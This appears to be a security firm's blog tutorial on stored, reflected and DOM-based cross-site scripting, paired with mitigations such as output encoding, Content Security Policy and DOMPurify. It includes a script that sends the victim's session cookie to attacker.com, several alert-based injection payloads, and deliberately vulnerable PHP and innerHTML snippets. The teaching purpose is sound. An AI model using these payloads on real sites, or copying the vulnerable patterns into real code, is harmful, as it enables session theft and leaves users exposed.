Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au blog
Owasp 2025-02-17 ⏱️ 15 min

XSS: Stored vs Reflected vs DOM-based with real exploitation examples

XSS Explained: Stored, Reflected, and DOM-based Exploitation in Modern Applications

Cross-Site Scripting (XSS) consistently remains one of the most prominent web application vulnerabilities. Ranked highly in the OWASP Top 10, XSS attacks occur when an application includes untrusted data in a web page without proper validation or escaping. If an attacker successfully executes XSS, they can execute malicious scripts within the victim's browser, leading to session hijacking, defacement, or redirection to malicious sites.

In this comprehensive guide by Cayvora Security, we will explore the three primary types of XSS: Stored, Reflected, and DOM-based. We will present real-world exploitation examples and demonstrate secure coding practices to mitigate these devastating attacks in 2025.

Understanding the Impact of XSS

When a victim visits a web page containing injected malicious JavaScript, their browser executes the code under the assumption that it comes from a trusted source. This allows the attacker to:

  1. Hijack User Sessions: By accessing document.cookie, an attacker can steal session tokens and perform actions on behalf of the user.
  2. Perform Unauthorized Actions: Using XMLHttpRequest or the fetch API, the script can forge requests (similar to CSRF, but originating from the context of the running page).
  3. Capture Sensitive Data: Keyloggers can be injected to capture passwords or credit card numbers before they are transmitted.
  4. Distribute Malware: The script can silently redirect the user to exploit kits or prompts for malicious downloads.

1. Stored XSS (Persistent XSS)

Stored XSS is the most damaging type of Cross-Site Scripting. It occurs when an application receives input from a user, stores it in a database without sanitization, and then later embeds that input into webpages served to other users.

Real Exploitation Example

Consider a forum application where users can leave comments. A malicious user submits a comment containing the following payload:

Great article! <script>
  let img = new Image();
  img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

The application stores this input directly in the MySQL database. When subsequent users, including administrators, view the comment thread, their browsers render the HTML including the <script> tag. The script executes silently, sending the session cookie to attacker.com. If an administrator's session is hijacked, the attacker gains full control over the application.

Mitigation Strategies

To prevent Stored XSS, you must validate input on arrival and, crucially, contextually encode output before rendering it to the browser.

  • Output Encoding: Ensure that characters like <, >, &, ', and " are encoded as HTML entities. In PHP, use htmlspecialchars() with ENT_QUOTES.
  • Content Security Policy (CSP): A strong CSP can prevent the execution of inline scripts and restrict the domains from which scripts can be loaded.

2. Reflected XSS (Non-Persistent XSS)

Reflected XSS occurs when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way. The injected script is "reflected" off the web server, such as in an error message or search result.

Real Exploitation Example

A vulnerable search page search.php might echo the user's query back to them:

<p>You searched for: <?php echo $_GET['query']; ?></p>

An attacker crafts a malicious URL and sends it to a victim via email or a phishing message: http://example.com/search.php?query=<script>alert('XSS')</script>

When the victim clicks the link, the server responds with:

<p>You searched for: <script>alert('XSS')</script></p>

The script executes immediately in the context of the victim's session with example.com.

Mitigation Strategies

  • Strict Input Validation: Implement an allow-list approach to ensure the query parameter only contains expected alphanumeric characters.
  • Context-Aware Encoding: Encode the output depending on where it's placed (HTML body, attributes, JavaScript variables).

3. DOM-Based XSS

DOM-based XSS (Document Object Model XSS) is an advanced vulnerability where the attack payload is executed as a result of modifying the DOM environment in the victim's browser, rather than through an HTTP response from the server. The server itself is completely unaware of the attack.

Real Exploitation Example

Consider a client-side JavaScript snippet that extracts the user's language preference from the URL fragment (the part after the #) and writes it to the page:

let lang = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('language-display').innerHTML = lang;

An attacker sends a link: http://example.com/page.html#<img src=x onerror=alert('DOM_XSS')>

Because the payload relies entirely on window.location.hash, it is never sent to the server. The JavaScript running in the browser reads the malicious hash and inserts it into the innerHTML of an element, triggering the execution.

Mitigation Strategies

  • Avoid Dangerous Sinks: Replace innerHTML, outerHTML, and document.write with safer alternatives like textContent or innerText.
  • Sanitize Client-Side Input: If HTML must be dynamically inserted on the client side, use libraries like DOMPurify before inserting the content to strip malicious tags.

Implementing Content Security Policy (CSP)

While output encoding and input validation are primary defenses, a robust Content Security Policy (CSP) provides defense-in-depth against XSS. CSP is an HTTP header that allows site operators to declare approved sources of content that the browser may load.

Example CSP Header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com; object-src 'none';

This policy prevents inline scripts (e.g., <script>...</script>) and external scripts from unauthorized domains, completely nullifying most XSS attacks even if an injection flaw exists.

Further Reading and Security Posture

Understanding the nuance between XSS variants is critical for comprehensive vulnerability assessments. Continue your learning with our guides on: - SQL Injection Mastery - Broken Access Control and IDOR (Coming soon)

For the latest updates on XSS mitigation frameworks, consult the OWASP XSS Prevention Cheat Sheet.

Audit your application for XSS

Prevent devastating client-side attacks. Contact Cayvora Security for advanced penetration testing in Morocco.

📱 Chat with us on WhatsApp

Besoin d'un audit de sécurité ?

Contactez Cayvora pour une consultation gratuite et protégez votre entreprise contre les cybermenaces.

📱 Contacter via WhatsApp

Articles connexes